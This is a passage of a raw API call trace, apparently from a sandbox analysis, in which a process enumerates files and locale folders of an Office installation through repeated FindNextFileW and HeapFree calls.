lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.066] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1 [0250.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.068] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0250.071] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.071] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0250.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.074] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0250.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.076] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0250.078] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0250.081] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.081] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1 [0250.086] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.086] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0250.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.088] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0250.091] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.091] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0250.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.157] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0250.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.177] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0250.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0250.180] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0250.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.443] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1 [0250.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.443] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1 [0250.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.443] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1 [0250.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.443] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1 [0250.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.444] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1 [0250.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.444] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1 [0250.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.444] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1 [0250.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.444] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1 [0250.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.444] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0250.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.445] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1 [0250.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.445] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0250.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.445] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1 [0250.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.445] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1 [0250.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.445] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1 [0250.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.446] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1 [0250.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.446] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1 [0250.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.446] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1 [0250.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.446] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0250.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.446] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0250.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.447] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0250.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.447] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0250.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.447] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0250.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.447] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0250.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0250.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0250.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0250.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0250.448] FindNextFileW (in: hFindFile=0x6eb670, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, 